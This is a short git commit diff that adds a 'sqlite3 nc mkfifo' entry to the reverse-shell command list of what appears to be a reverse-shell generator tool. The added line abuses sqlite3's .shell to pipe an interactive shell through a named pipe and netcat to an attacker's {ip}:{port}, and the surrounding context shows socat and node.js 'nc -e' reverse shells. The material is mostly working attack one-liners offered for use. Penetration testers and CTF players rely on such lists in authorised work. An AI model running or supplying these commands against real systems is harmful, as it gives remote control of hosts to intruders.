Upd: Add a sqlite3 revshell command

This commit is contained in:
0Magenta0 2023-04-28 21:53:36 +03:00
parent 43d576e33f
commit 67b9f2c702

View File

@ -275,6 +275,11 @@ const reverseShellCommands = withCommandType(
"command": "socat TCP:{ip}:{port} EXEC:'{shell}',pty,stderr,setsid,sigint,sane", "command": "socat TCP:{ip}:{port} EXEC:'{shell}',pty,stderr,setsid,sigint,sane",
"meta": ["linux", "mac"] "meta": ["linux", "mac"]
}, },
{
"name": "sqlite3 nc mkfifo",
"command": "sqlite3 /dev/null '.shell rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|nc {ip} {port} >/tmp/f'",
"meta": ["linux", "mac"]
},
{ {
"name": "node.js", "name": "node.js",
"command": "require('child_process').exec('nc -e {shell} {ip} {port}')", "command": "require('child_process').exec('nc -e {shell} {ip} {port}')",